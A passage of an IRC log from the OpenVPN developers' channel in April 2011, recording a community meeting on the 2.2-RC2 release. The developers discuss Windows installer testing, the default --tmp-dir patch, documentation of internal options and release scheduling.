timeout: 276 seconds] 03:36 -!- patel [~patel@adsl-71-140-186-190.dsl.pltn13.pacbell.net] has joined #openvpn-devel 06:31 -!- janjust [~janjust@ardeche.nikhef.nl] has joined #openvpn-devel 06:31 -!- janjust [~janjust@ardeche.nikhef.nl] has quit [Changing host] 06:31 -!- janjust [~janjust@openvpn/community/support/janjust] has joined #openvpn-devel 06:31 -!- mode/#openvpn-devel [+v janjust] by ChanServ 07:02 <+janjust> dazo_afk, mattock : just tested mattock's 2.2-rc2-temp-dir executable and it works fine on win xp ; the only flaw is the fact that the installer add 3 new openvpn gui icons to my desktop 07:26 <+janjust> other than that it picked up a default tmp-dir from %TEMP% and I could still overrule it using --tmp-dir 07:33 -!- psha [~psha@213.208.162.69] has quit [Quit: leaving] 08:21 -!- psha [~psha@213.208.162.69] has joined #openvpn-devel 09:49 -!- agi [~agi@manson.entorno-digital.com] has quit [Quit: ana] 10:19 -!- janjust [~janjust@openvpn/community/support/janjust] has quit [Quit: Leaving] 10:49 -!- psha [~psha@213.208.162.69] has quit [Read error: No route to host] 10:49 -!- psha [~psha@213.208.162.69] has joined #openvpn-devel 11:02 -!- dazo_afk is now known as dazo 11:34 -!- psha [~psha@213.208.162.69] has quit [Quit: leaving] 13:09 -!- patel is now known as patelx 13:09 -!- patelx [~patel@adsl-71-140-186-190.dsl.pltn13.pacbell.net] has quit [Changing host] 13:09 -!- patelx [~patel@openvpn/corp/admin/patel] has joined #openvpn-devel 13:09 -!- mode/#openvpn-devel [+o patelx] by ChanServ 13:14 -!- krzie [nobody@openvpn/community/support/krzee] has joined #openvpn-devel 13:14 -!- mode/#openvpn-devel [+v krzie] by ChanServ 13:50 -!- jamesyonan [~jamesyona@76.120.71.74] has joined #openvpn-devel 13:50 -!- mode/#openvpn-devel [+o jamesyonan] by ChanServ 14:08 -!- andj_afk is now known as andj 15:36 -!- psha [~psha@213.208.162.69] has joined #openvpn-devel 15:45 -!- andj is now known as andj_afk 16:37 -!- dazo is now known as dazo_afk 18:32 -!- psha [~psha@213.208.162.69] has quit [Quit: Lost terminal] 21:01 -!- Netsplit *.net <-> *.split quits: @d303k, @dazo_afk, EvilJStoker 21:02 -!- Netsplit *.net <-> *.split quits: cron2 21:03 -!- Netsplit over, joins: cron2 21:03 -!- Netsplit over, joins: @dazo_afk, @d303k, EvilJStoker 23:04 -!- krzie [nobody@openvpn/community/support/krzee] has quit [Quit: This computer has gone to sleep] --- Day changed Thu Apr 07 2011 00:42 -!- andj_afk is now known as andj 01:00 -!- andj is now known as andj_afk 01:45 -!- dazo_afk is now known as dazo 02:22 -!- krzie [nobody@openvpn/community/support/krzee] has joined #openvpn-devel 02:22 -!- mode/#openvpn-devel [+v krzie] by ChanServ 03:22 -!- psha [~psha@213.208.162.69] has joined #openvpn-devel 03:59 -!- jamesyonan [~jamesyona@76.120.71.74] has quit [Quit: jamesyonan] 04:30 -!- psha [~psha@213.208.162.69] has quit [Quit: Lost terminal] 05:34 -!- waldner [~waldner@unaffiliated/waldner] has quit [Read error: Operation timed out] 05:34 -!- waldner [~waldner@waldner-1-pt.tunnel.tserv5.lon1.ipv6.he.net] has joined #openvpn-devel 05:34 -!- waldner [~waldner@waldner-1-pt.tunnel.tserv5.lon1.ipv6.he.net] has quit [Changing host] 05:34 -!- waldner [~waldner@unaffiliated/waldner] has joined #openvpn-devel 05:39 -!- krzie [nobody@openvpn/community/support/krzee] has quit [Quit: This computer has gone to sleep] 05:43 -!- krzie [nobody@openvpn/community/support/krzee] has joined #openvpn-devel 05:43 -!- mode/#openvpn-devel [+v krzie] by ChanServ 06:04 <@mattock> preliminary meeting agenda is now here: https://community.openvpn.net/openvpn/wiki/Topics-2011-04-07 06:04 <@vpnHelper> Title: Topics-2011-04-07 – OpenVPN Community (at community.openvpn.net) 06:04 <@mattock> let me know if there's anything you'd like to add 06:07 -!- waldner [~waldner@unaffiliated/waldner] has quit [Read error: Operation timed out] 06:10 -!- waldner [~waldner@waldner-1-pt.tunnel.tserv5.lon1.ipv6.he.net] has joined #openvpn-devel 06:10 -!- waldner [~waldner@waldner-1-pt.tunnel.tserv5.lon1.ipv6.he.net] has quit [Changing host] 06:10 -!- waldner [~waldner@unaffiliated/waldner] has joined #openvpn-devel 06:11 * dazo looks 06:13 <@dazo> I added the default --tmp-dir patch 06:13 <@dazo> and will add comment about man page updates 06:19 <@mattock> ok 06:36 -!- waldner [~waldner@unaffiliated/waldner] has quit [Ping timeout: 248 seconds] 06:37 -!- waldner [~waldner@waldner-1-pt.tunnel.tserv5.lon1.ipv6.he.net] has joined #openvpn-devel 06:37 -!- waldner [~waldner@waldner-1-pt.tunnel.tserv5.lon1.ipv6.he.net] has quit [Changing host] 06:37 -!- waldner [~waldner@unaffiliated/waldner] has joined #openvpn-devel 06:49 -!- waldner [~waldner@unaffiliated/waldner] has quit [Read error: Operation timed out] 06:53 -!- waldner [~waldner@waldner-1-pt.tunnel.tserv5.lon1.ipv6.he.net] has joined #openvpn-devel 06:53 -!- waldner [~waldner@waldner-1-pt.tunnel.tserv5.lon1.ipv6.he.net] has quit [Changing host] 06:53 -!- waldner [~waldner@unaffiliated/waldner] has joined #openvpn-devel 07:01 -!- waldner [~waldner@unaffiliated/waldner] has quit [Ping timeout: 260 seconds] 07:02 -!- waldner [~waldner@waldner-1-pt.tunnel.tserv5.lon1.ipv6.he.net] has joined #openvpn-devel 07:02 -!- waldner [~waldner@waldner-1-pt.tunnel.tserv5.lon1.ipv6.he.net] has quit [Changing host] 07:02 -!- waldner [~waldner@unaffiliated/waldner] has joined #openvpn-devel 07:02 < cron2> oh 07:03 < cron2> meeting today, and new time zone :-) - summer time here now 07:04 <@dazo> maybe we should suggest to move the meeting too? 07:14 < cron2> I'm fine with 1800 UTC and local time +2 = 2000 here. 1900 was worse 07:15 <@dazo> okay 07:30 -!- waldner [~waldner@unaffiliated/waldner] has quit [Ping timeout: 260 seconds] 07:31 -!- waldner [~waldner@waldner-1-pt.tunnel.tserv5.lon1.ipv6.he.net] has joined #openvpn-devel 07:31 -!- waldner [~waldner@waldner-1-pt.tunnel.tserv5.lon1.ipv6.he.net] has quit [Changing host] 07:31 -!- waldner [~waldner@unaffiliated/waldner] has joined #openvpn-devel 07:42 -!- waldner [~waldner@unaffiliated/waldner] has quit [Read error: Operation timed out] 07:45 -!- waldner [~waldner@waldner-1-pt.tunnel.tserv5.lon1.ipv6.he.net] has joined #openvpn-devel 07:45 -!- waldner [~waldner@waldner-1-pt.tunnel.tserv5.lon1.ipv6.he.net] has quit [Changing host] 07:45 -!- waldner [~waldner@unaffiliated/waldner] has joined #openvpn-devel 09:28 -!- waldner [~waldner@unaffiliated/waldner] has quit [Ping timeout: 260 seconds] 09:29 -!- waldner [~waldner@waldner-1-pt.tunnel.tserv5.lon1.ipv6.he.net] has joined #openvpn-devel 09:29 -!- waldner [~waldner@waldner-1-pt.tunnel.tserv5.lon1.ipv6.he.net] has quit [Changing host] 09:29 -!- waldner [~waldner@unaffiliated/waldner] has joined #openvpn-devel 09:35 -!- waldner [~waldner@unaffiliated/waldner] has quit [Read error: Operation timed out] 09:38 -!- waldner [~waldner@waldner-1-pt.tunnel.tserv5.lon1.ipv6.he.net] has joined #openvpn-devel 09:38 -!- waldner [~waldner@waldner-1-pt.tunnel.tserv5.lon1.ipv6.he.net] has quit [Changing host] 09:38 -!- waldner [~waldner@unaffiliated/waldner] has joined #openvpn-devel 09:50 -!- psha [~psha@213.208.162.69] has joined #openvpn-devel 10:52 -!- andj_afk is now known as andj 12:57 <@mattock> everybody set for the meeting? 12:58 < cron2> sort of 12:58 <@mattock> that's a start :D 12:58 < cron2> we're just starting dinner, took longer than expected to convince $daughter to sleep... 12:58 < cron2> but laptop is sitting next to the tables, I just might be slow in responding :) 13:00 <@mattock> cron2: no problem! 13:00 <@mattock> dazo: there? 13:00 <@dazo> I am 13:01 <@mattock> mkay 13:01 <+ecrist> sup d00ds? 13:01 <+ecrist> date -u 13:01 <@mattock> ecrist: yep 13:01 < cron2> ecrist: you're right on time :) 13:01 <+ecrist> :) 13:02 <@mattock> topics here: https://community.openvpn.net/openvpn/wiki/Topics-2011-04-07 13:02 <@vpnHelper> Title: Topics-2011-04-07 – OpenVPN Community (at community.openvpn.net) 13:03 <@mattock> I mailed James 13:03 <@mattock> maybe start from the top... 13:04 <@mattock> anybody heard any feedback on 2.2-RC2? 13:04 <@mattock> regressions or similar? 13:04 <@dazo> Not more than this --tmp-dir issue, which is not really a regression 13:05 <@mattock> does the server functionality now work on Windows, btw? 13:05 <@dazo> (but might be considered to be regression for some not knowing the details) 13:06 <@dazo> krzee: ecrist: have you spotted anything regarding --mode server on Windows with RC2? 13:06 <@dazo> mattock: that could probably be spotted by running openvpn --version ... to see the ENABLE flags 13:07 <@mattock> yep, except that the python build cobbles those together based on win/settings.in 13:08 <@mattock> I'll double check 13:08 <@dazo> yeah, but that generates config.h, right? 13:08 <@dazo> but yeah, I see the possible issue 13:09 <@mattock> so config.h is generated from win/config.h.in, but some variables in config.h.in are fetched from win/settings.in 13:10 <@mattock> anyways, I don't think --version stuff can be trusted 100% 13:10 <@mattock> because something might happen when stuff moves from win/settings.in to config.h 13:10 <@dazo> ouch, not too good ... but that can be improved for later 13:11 <@mattock> is there an easy check for verifying --server stuff works on Windowns? 13:11 <@mattock> windows 13:11 <@dazo> Do you see --server mentioned if running openvpn --help? 13:11 <+krzee> ok 1min 13:11 <+krzee> i have a windows VM where i am right now 13:12 <@mattock> krzee: great! 13:12 <@dazo> cool! 13:12 <+krzee> actually very NOT cool, but its required for work 13:12 <@mattock> I added a few minor patch suggestions to the topic list 13:12 <+krzee> im the only non-windows user here ;] 13:13 <@dazo> mattock: we do have one outstanding issue ... if your read commit commit 77d24405096452541700fb24aacd6f8a589fce3b 13:13 <@mattock> dazo: just a sec 13:13 < cron2> krzee: I'm very much a non-windows user! 13:13 <+krzee> im testing the RC from openvpn.net/download right? 13:13 <+krzee> cron2, here being my office 13:13 <@mattock> krzee: yes, 2.2-RC2 13:13 < cron2> krzee: ah :) 13:13 <@dazo> krzee: The closest I get to Windows on my work and private laptops is WINE ;-) 13:13 <+krzee> this channel *here* is FULL of non windows users 13:13 <+krzee> heheh 13:14 <@mattock> dazo: oh yes, the snprintf stuff 13:14 <@dazo> yeah 13:14 <@dazo> I just remembered that now 13:14 <@mattock> krzee: also, I don't use Windows either, I just chose to take the beating because I get paid for it :D 13:14 <+krzee> sounds like the only reason i have a windows VM here 13:14 <+krzee> heheh 13:15 <@dazo> :) 13:15 <@mattock> dazo: any ideas about the INSTALL-win32.txt linefeed issue with the tarballs? 13:15 <@mattock> if I build an installer from Git code, all is fine 13:16 <@mattock> if I build one from a release tarball/zip, the README file has UNIX linefeeds (=all in one line in notepad.exe) 13:16 -!- jamesyonan [~jamesyona@c-76-120-71-74.hsd1.co.comcast.net] has joined #openvpn-devel 13:16 -!- mode/#openvpn-devel [+o jamesyonan] by ChanServ 13:16 <@mattock> hi jamesyonan! 13:16 <@jamesyonan> hi! 13:16 <@mattock> jamesyonan: I just added a few patch suggestions to the topic list: https://community.openvpn.net/openvpn/wiki/Topics-2011-04-07 13:16 <@vpnHelper> Title: Topics-2011-04-07 – OpenVPN Community (at community.openvpn.net) 13:17 <@dazo> mattock: that's some nasty git trickery :( 13:17 <@mattock> do you know what's causing it? 13:17 <@dazo> when you extract that file on Windows, git understands automatically it needs to convert it to CRLF ... while only use LF on *nix 13:18 <+krzee> hrm, first thing i notice is that after starting openvpn gui, it loads to the taskbar but double clicking it isnt bringing it up 13:18 <@mattock> krzee: is it supposed to? 13:18 <@mattock> I've always used right-click 13:18 <@mattock> jamesyonan: have you heard any complaints of 2.2-RC2? 13:18 <+krzee> oh its cause im using .conf 13:18 <+krzee> heh 13:18 <+krzee> damn windows 13:19 <@mattock> none of us has heard anything negative 13:19 <@jamesyonan> mattock: no I haven't 13:19 <@dazo> so when I do 'make distcheck' on Linux, it will only have NL (not CRLF) ... while if it's done on Windows (ie. via make dist-zip) from a git tree, it will be correct 13:19 <@mattock> it's downloaded several thousands of times now, so I suppose it's pretty solid 13:19 <+krzee> interesting, i never know you cant use --log or --daemon in windows with the gui 13:20 <+krzee> right clicking it does bring up the menu - proxy settings about exit 13:20 <+krzee> errm 13:20 <+krzee> mis-fire 13:20 <@mattock> krzee: I can also test it, I got everything setup correctly 13:21 <@mattock> dazo: what do you suggest we do about the linefeed issue? 13:21 <+krzee> Options error: unrecognized option or missing parameter(s) in server.ovpn:9:server (2.2-RC) 13:21 <@mattock> manual fixing before release? 13:21 <@mattock> krzee: I'll verify that 13:21 <@dazo> krzee: you need 2.2-RC2 ... 2.2-RC is missing --server 13:21 <+krzee> i just downloaded from openvpn.net/download 13:21 <@dazo> this was one of the main reasons for spinning RC2 13:22 <+krzee> if im supposed to grab from somewhere else, where? 13:22 <@dazo> it should be the correct one on this page: http://openvpn.net/index.php/open-source/downloads.html 13:22 <@vpnHelper> Title: Downloads (at openvpn.net) 13:22 <+krzee> oh the DL page has both 13:23 <+krzee> (why!?) 13:23 <+krzee> still has beta too!? 13:24 * krzee puts in a vote to only have most recent stuff on the DL page 13:25 <+krzee> i replaced openvpn 2.2-RC with 2.2-RC2, i now have 4 openvpn gui icons on my desktop 13:25 * dazo agrees with krzee 13:25 <+krzee> heh 13:25 <@dazo> heh 13:25 <@mattock> krzee: lovely, 4 icons... :) 13:25 <+krzee> server running, no errors 13:25 <@mattock> krzee: which Windows version? 13:25 <@mattock> krzee: cool! 13:25 <+krzee> XP 13:26 <@mattock> krzee: how did you manage to get 4 GUI icons? did you run openvpn-gui during uninstall? 13:26 <+krzee> i exited it before installing 2.2-RC2 13:26 <@mattock> ok 13:26 <+krzee> i never uninstalled at all 13:26 <+krzee> i just installed 2.2-RC2 over 2.2-RC 13:26 <@mattock> ok, I'll try to reproduce that 13:27 <@mattock> the long-term solution would be to run the _old_ uninstaller before running the _new_ installer 13:27 <@mattock> in an automated fashion, I mean 13:27 <+krzee> sure, but cant expect they will 13:27 * cron2 also agrees regarding download page - those versions that we know to be broken should go to "archive" or such 13:27 <+krzee> ahh right 13:27 <+krzee> agreed 13:28 <+krzee> although no garuntee the old uninstaller will work 13:28 <@mattock> cron2, krzee: I'll remove the old versions from openvpn.net 13:28 <@dazo> I just noticed one thing ... running the installer via WINE ... it says in the opening screen "Note that the Windows version of OpenVPN will only run on Win 2000, XP or higher" ... we need to change that one 13:29 <@mattock> yep, remove Win2k 13:29 < cron2> good point 13:29 <+krzee> ahh no more 2k? 13:29 <+krzee> 2k3 still good? 13:29 <@dazo> nope 2.1.3 was the last Win 2k 13:29 <@dazo> 2k3 is good 13:29 <+krzee> cool good to know 13:29 <@dazo> 2k3 == Windows XP for servers, if I'm not totally wrong 13:30 <+krzee> erm 13:30 <+krzee> not really 13:30 <@mattock> win2k has been EOL for, what, 6 months already? 13:30 <+krzee> more like 2000 13:30 <@dazo> not really, but it's linked to features WinXP supports 13:30 <+krzee> really only 6 months!? 13:31 <@mattock> or was it 12? not sure 13:31 <+krzee> either way, microsoft supported win2k til 2010!? 13:31 <@mattock> krzee: yes... the extended, paid support 13:31 <+krzee> wow 13:31 <+krzee> thats like if freebsd3 was still supported 13:31 <@mattock> most people lost support several years ago I think 13:32 <@mattock> silly, isn't it :) 13:32 <+krzee> seriously, thats what was out in 2000 ;] 13:32 <+krzee> i remember running fbsd3 in '99 13:32 < cron2> krzee: nah, we already had fbsd4 in 2000! 13:32 <+krzee> oh, well not for very long then! 13:32 < cron2> .oO(some of these boxes are still in service...) 13:32 < cron2> sorry for distraction :) 13:33 <+krzee> my fault ;] 13:33 <@mattock> ok, back to business? :P 13:33 <@mattock> krzee: so --server _is_ working in 2.2-RC2? 13:33 <@mattock> just double-checking 13:34 <+krzee> i cant confirm by connecting anything, but yes 13:34 <+krzee> 2.2-RC died with error, 2.2-RC2 starts as expected 13:34 <@mattock> ok, then it's active 13:34 <@dazo> agreed 13:34 <@mattock> dazo: what's the state of this patch: http://thread.gmane.org/gmane.network.openvpn.devel/4561 13:34 <@vpnHelper> Title: Gmane Loom (at thread.gmane.org) 13:34 <@dazo> there's a forum thread which discovered this issue ... not sure if there's a thread there 13:35 <@mattock> "Change the default --tmp-dir path to a more suitable path" 13:35 <@dazo> there seems to be some confusing consensus on the ML right now 13:35 < cron2> for the --tmp-dir patch I'd go with dazo + Alon 13:35 < cron2> a) change it, b) leave configure alone, c) use %SystemRoot% on Windows and $TMPDIR on Leenux 13:35 <@mattock> I think the fallback to c:\<something> can be omitted 13:35 <@dazo> the reason this patch written was that openvpn started complaining with --plugin auth-pam.so 13:36 <@dazo> due to that it could not write any tmp files in CWD 13:36 <@dazo> now, it seems Peter Stuge and Alon don 13:36 < cron2> dazo: I already agreed with you, no need to defend the patch :-) 13:36 <@dazo> don't want to see a hard coded tmp-dir ... even when $TMPDIR is not found 13:36 < cron2> as far as I read Peter and Alon, they agree with the idea, but disagree with having a configure option 13:37 < cron2> and I'd side with them 13:37 <+krzee> in windows we could always just toss in a program files/openvpn/tmp 13:37 <@dazo> okay, so they say /tmp hard coded and otherwise $TMPDIR or --tmp-dir? 13:37 < cron2> dazo: for unix, yes 13:37 <@dazo> okay, then I'll throw out the configure stuff 13:37 < cron2> unix always has /tmp 13:37 <@dazo> agreed 13:37 <+krzee> and windows can always have program files/openvpn/tmp 13:38 < cron2> windows always has %SystemRoot%\Temp (or whatever it was) 13:38 <+krzee> if we say so ;) 13:38 <@dazo> krzee: windows is no problem ... there are %TEMP%, %TMP%, %SysRoot%\Temp and C:\Windows\Temp 13:38 <+krzee> oh ok, then whats the issue? 13:38 <@mattock> krzee: actually, TEMP can be C:\Users\<username>\something if the process is unprivileged 13:38 < cron2> basically, whether or not to have a configure option 13:38 <@mattock> (on Vista and above) 13:38 <@mattock> and even on XP 13:39 <+krzee> cron2, why would we *not* have a configure option? 13:39 <@dazo> krzee: compile time configure option 13:39 <+krzee> right 13:39 <+krzee> as in ./configure 13:39 < cron2> krzee: if it has no real benefits, it's just bloat 13:39 <@dazo> as a hard coded default, which is changable 13:40 <+krzee> cron2, i see that point... 13:40 <+krzee> i mean even if you want your tmp somewhere special (ramdisk?) you symlink it to be /tmp still 13:41 < cron2> krzee: you call "openvpn --tmpdir" or set $TMPDIR if you want that 13:41 < cron2> compile-time options are something a "normal user wants /tmp on ramdisk" user can't change anyway 13:41 <+krzee> we already have --tmpdir and $TMPDIR and are talking about making it compile-time ALSO ? 13:42 < cron2> we do not have "fall back to /tmp or $TMPDIR" yet - this is new "part 1" 13:42 <@dazo> we've always had --tmp-dir ... but not the other options, default before was $cwd 13:42 < cron2> and compile-time is "change the value of '/tmp'" 13:43 <+krzee> seems to me that if we have --tmpdir already, then theres no need for a compile-time option, just a need for a useful error when the user NEEDS to set --tmpdir 13:43 <@dazo> anyway, I will need to have some of the autoconf stuff there ... to support mingw cross compilations ... which needs to set DEFAULT_TMPDIR to %SysRoot%\Temp 13:44 <@dazo> or maybe not? 13:44 * dazo thinks 13:44 < cron2> why not just do #ifdef windows? 13:44 < cron2> (well, WIN32, but that is set for mingw as well) 13:44 <@dazo> which it already is ... and I think I need to expand %SysRoot% via getenv() and concat '\Temp' to the result 13:44 < cron2> yep 13:45 <@dazo> which means I can kick out DEFAULT_TMPDIR all in all 13:46 < cron2> now that was easy :) 13:46 <@mattock> cron2, dazo: all clear? :P 13:46 <@dazo> yes :) 13:46 < cron2> mattock: yes 13:46 <@mattock> excellent! 13:46 <@dazo> I'll get the patches out today ... cron2 any chance you can ack them by tomorrow or so? 13:47 <@mattock> dazo: what about the man-page? 13:47 < cron2> dazo: chances are good 13:48 <@dazo> yeah, we have quite some undocumented features ... I'm fine at shipping 2.2 without any man page changes ... if people complain, we can point people at the wiki 13:48 <@dazo> and mail thread where we ask for help 13:48 < cron2> no response from users yet? 13:48 <@dazo> sure cheeky, but we need to get more people involved some way or another 13:48 <@dazo> no response yet 13:49 <@dazo> as janjust said, most people on the ML are consumers 13:49 <@dazo> there's quite some truth in that 13:49 <@mattock> dazo: where were the undocumented features listed? 13:50 <@dazo> https://community.openvpn.net/openvpn/wiki/ManPageUpdatesFor2.2 13:50 <@vpnHelper> Title: ManPageUpdatesFor2.2 – OpenVPN Community (at community.openvpn.net) 13:50 <@mattock> dazo: I don't mind fixing those which are documented _somewhere_ 13:50 <@mattock> e.g. openvpn --help 13:51 <@mattock> jamesyonan: what are --push-continuation and --rdns-internal used for? 13:51 <@dazo> that would be great, and that's a starting point, at least for others to be able to improve the docs ... however, my hope is fading that people will do that ... but something is still better than nothing 13:52 <@mattock> I think those options are not used much, because they're not documented 13:52 <@mattock> so, nobody knows what they do 13:53 < cron2> oh, push-contination is something internal 13:53 < cron2> I seem to remember 13:53 <@mattock> jamesyonan: could you help us document those undocumented feature? 13:53 <@mattock> s 13:53 <@mattock> maybe not now, but at some meeting? 13:53 < cron2> this is used if the "push" packet for optinos to client is too big, and needs to be split into multiple messages 13:53 < cron2> let me check 13:53 <@dazo> I think that sounds correct 13:54 <@dazo> sounds very familiar 13:54 < cron2> push.c 13:54 <@dazo> I generated that list of options based on a grep/awk on options.c 13:54 < cron2> push-continuation is not something that can be on the command line 13:54 < cron2> else if (streq (p[0], "push-continuation") && p[1]) 13:54 < cron2> { 13:54 < cron2> VERIFY_PERMISSION (OPT_P_PULL_MODE); 13:54 < cron2> the VERIFY* bit accepts this only when in the pulled options 13:55 <@dazo> ahh! so that's how that works 13:55 <+krzee> ohh so its part of the "more soup for you" patch 13:55 <+krzee> not to be confused with the "NO soup for you" patch 13:55 <@mattock> https://community.openvpn.net/openvpn/ticket/112 13:55 <@vpnHelper> Title: #112 (Undocumented option: --push-continuation) – OpenVPN Community (at community.openvpn.net) 13:56 <@dazo> heh ... not exactly, but almost :) 13:56 < cron2> yeah, same corner of the kitchen :-) 13:56 <@mattock> wiki updated, too 13:56 < cron2> but it was already there in 2.1, not our doing 13:56 <@dazo> right :) 13:57 < cron2> rdns-internal is... special 13:57 <+krzee> hah 13:57 < cron2> this seems to be a one-shot command to "do things and then exit" 13:57 <@vpnHelper> RSS Update - tickets: #112: Undocumented option: --push-continuation <https://community.openvpn.net/openvpn/ticket/112> 13:58 < cron2> if that option is encountered *and* register-dns is set, it will call ipconfig_register_dns (NULL); and then exit(0) 13:58 <@mattock> cron2: shall I remove ticket 112, then? :) 13:58 < cron2> mattock: yes 13:59 <@dazo> --rdns-internal seems to be a feature which should only be called/forked out when --register-dns is in use 13:59 <@dazo> but I have no idea why it needs to do this fork 13:59 < cron2> this is for windows - it will cal netsh stop dnscache, netsh start dnscache, ipconfig /flushdns, ipconfig /registerdns 13:59 < cron2> maybe because these commands take a while and openvpn doesn't wants to block 14:00 < cron2> fork_register_dns_action() in tun.c 14:01 <@dazo> which calls fork_to_self() in win32.c 14:01 <@dazo> and here stops my understanding ... don't know anything about the CreateProcess() calls 14:02 < cron2> I think this is just "fork()/exec()" stuff in windowlese 14:02 <@dazo> yeah, but I can't tell if this is blocking or non-blocking, I just presume it is non-blocking as that would make most sense 14:03 <@mattock> http://msdn.microsoft.com/en-us/library/ms682425%28v=vs.85%29.aspx 14:03 <@vpnHelper> Title: CreateProcess Function (Windows) (at msdn.microsoft.com) 14:03 * cron2 assumes that the unix-style "fork(), call required functions, exit" stuff will not work on windows, and so the extra option is needed 14:03 <@dazo> mattock: you really want to pull us down into the windows dirt!?!? ;-) 14:04 <@mattock> we can wonder... or we can read MSDN :P 14:04 * cron2 opts for making a notice somewhere that "this is for internal use together with register-dns on windows" and close this ticket 14:04 <@dazo> it could be documented as a code comment 14:04 < cron2> or specifically "if --register-dns is set, openvpn needs to call itself in a sub-process to execute the required functions in a non-blocking way, and uses --rdns-internal to signal that" 14:05 < cron2> jamesyonan: is that accurate enough? 14:05 <+krzee> cron2, if accurate, +1 14:05 <@mattock> sounds good 14:06 <@mattock> I suggest going through the remaining options with James at some point 14:06 <@mattock> some other meeting 14:06 <@dazo> agreed 14:06 < cron2> ok 14:06 <@mattock> ok, release date then? 14:06 <@mattock> or rather, our _goal_ for a release date :P 14:07 <@mattock> 22nd? 29th? 14:07 < cron2> get /tmp acked + in, release RC3 next wednesday, and aim for 22nd, yes 14:07 <@jamesyonan> mattock: --push-continuation and --rdns-internal are normally used internally 14:07 <@jamesyonan> push-continuation is used when the push list is very large and needs to be fragmented across multiple messages 14:08 < cron2> too much soup 14:08 <@dazo> heh 14:09 <@jamesyonan> rdns-internal is used internally on Windows for calling some DNS methods 14:09 <@dazo> and that is done non-blocking? hence the fork() approach? 14:09 <@mattock> jamesyonan: is cron2's suggestion accurate: "if --register-dns is set, openvpn needs to call itself in a sub-process to execute the required functions in a non-blocking way, and uses --rdns-internal to signal that" 14:10 <@jamesyonan> yes, exactly 14:10 <@mattock> great! 14:11 <@mattock> cron2: care to add the description somewhere? 14:11 < cron2> uh, ok, *mail to self*, will send patch ASAP 14:11 <@mattock> nice! 14:12 <@dazo> thx! 14:12 <@mattock> cron2: any particular reason for 2.2-RC3? why not 2.2 final? 14:12 < cron2> code changes 14:13 <@mattock> dazo, jamesyonan: what's your take on this? 14:14 <@dazo> I say doc changes don't need another RC ... and if we smoketest the next round of --tmp-dir patches, we can go live ... but it would be good to have a smaller scale test version which someone could commit to try out a little bit 14:14 <@mattock> dazo: generating a new installer with latest --tmp-dir stuff is no prob 14:14 <@dazo> I might be able to convince one of my users on a site to try this, in client mode 14:15 < cron2> ok, in that case, we could go for release - the change is quite isolated 14:15 <@mattock> given that it takes at least 2-3 weeks to push out a release I'd vote for "limited smoketesting -> 2.2 final" 14:15 <@dazo> yes, and it only affects startup 14:15 <@mattock> any thoughts on release date of the first 2.3 alpha? 14:15 <@dazo> if it passes startup with sensible options->tmp_dir, there are no chance for things to wrong 14:15 <@mattock> right after 2.2 final? 14:16 <@dazo> I'd say 2.3 beta can go already in in June some time .... alpha, can probably be released as soon as I've reworked JJO's IPv6 patches, and cron2 has rebased his tree 14:17 <@mattock> ok, gives us some time to breathe 14:17 * cron2 feels pushed (but that's good) 14:18 <@dazo> :) 14:18 <@dazo> allmerged is updated with latest stuff from master ... stuff from master seems to work out pretty nicely as well (even though haven't checked buildbot since last allmerged push) 14:19 <@mattock> what about this schedule: 14:19 <@mattock> - next version of --tmp-dir installer ready on next Monday/Tuesday 14:19 <@mattock> - all queued 2.2 patches ready by 14th (Thursday) 14:19 <@mattock> - a preview 2.2 installer available 15th (Friday) 14:19 <@mattock> - release a.s.a.p. after that 14:20 <@dazo> Sounds good to me ... however, I'd suggest to move the dates one day earlier .... I can ACK the doc patches which comes ... and we can have a go/no-go on Friday for the installer, with the 2.2 preview release already on Friday 14:21 <@mattock> you mean 2.2 release? or 2.2 preview "release"? 14:22 <@dazo> the latter :) 14:22 <@mattock> ok 14:23 <@dazo> and if that preview release looks good ... that's what we release the 22nd, just renamed 14:23 <@dazo> or 21st, for that matter 14:23 <@mattock> ok, sounds good 14:23 <@jamesyonan> is the 2.2 branch up to date with recent patches to 2.1 branch? 14:23 <@mattock> I guess the TAP_RELDATE fix will force us to resign the TAP-drivers 14:24 * krzee gets james' autograph on his drivers 14:24 <@dazo> jamesyonan: not all changes ... I have not checked since you renamed your SVN branch 14:24 <@jamesyonan> in particular, r7125 and r7127 fix longstanding bugs 14:24 <@dazo> we did a feature freeze when we started the RC phase 14:25 * dazo looks then up 14:28 <@dazo> jamesyonan: how do I show only the change r7125 and r7127 does? I don't have my git svn tree available on this box, and it takes a while to parse that 14:29 < cron2> dazo: svn diff -r7124:7125 14:29 <@mattock> hmm, it seems my openvpn.net documentation updates are not online yet 14:29 <@dazo> cron2: thx! 14:30 <@mattock> the correct URL is this: http://svn.openvpn.net/projects/openvpn/branches/2.1/openvpn/ 14:30 <@vpnHelper> Title: Revision 7146: /branches/2.1/openvpn (at svn.openvpn.net) 14:30 <@dazo> yeah, I have that URL 14:31 <@jamesyonan> svn diff -r7124:7125 http://svn.openvpn.net/projects/openvpn/branches/2.1 14:31 <@vpnHelper> Title: Revision 7146: /branches/2.1 (at svn.openvpn.net) 14:33 <@dazo> ouch ... that merge is not going to be pleasant 14:34 <@dazo> jamesyonan: I'll try to port these commits to the beta2.2 branch ... can you validate my commits afterwards to see that I haven't destroyed the patch? 14:35 * cron2 has no idea what 7125 does 14:35 <@dazo> cron2: svn log -r7125? 14:36 <@jamesyonan> svn log -v -r7125 http://svn.openvpn.net/projects/openvpn/branches/2.1 14:36 <@vpnHelper> Title: Revision 7146: /branches/2.1 (at svn.openvpn.net) 14:36 < cron2> dazo: well, I was looking at the code change, not the docs 14:36 <@dazo> :) 14:38 <@mattock> dazo: do these need wider testing (=2.2-RC3), or will a preview version be sufficient? 14:39 <@dazo> I'm not sure I dare to patch r7125 ... it seems we need to backport much more commits from SVN, packet_id_init() has grown it's function arguments from 3 to 6 arguments 14:39 <@dazo> looking at r7127 now 14:40 <@dazo> r7125 is something which needs to go into the 2.3 release, due to that the SVN tree has diverged too much from the beta2.2 base 14:40 <@mattock> yep 14:40 <@mattock> agreed 14:41 <@dazo> r7127 looks trivial though 14:41 < cron2> dazo: there's so much difference in SSL packet handling in 2.1->2.2? 14:41 <@mattock> jamesyonan: when do you think OpenVPN Tech could move to 2.2 internally? 14:41 <@jamesyonan> I'm hoping in the next few months 14:42 <@dazo> not 2.1->2.2 ... but as james have not rebased against the git tree at all, so he is actually far behind us right now 14:42 <@dazo> quite some 100 commits, probably 14:43 < cron2> yeah, but if those don't really affect these places, it might still be safe 14:43 <@mattock> so lots of work will be needed 14:44 <@mattock> oh, Jason Haar sent me email, proposing a meeting topic 14:44 <@dazo> http://www.fpaste.org/1MOO/ ... this is the complete merge conflict 14:44 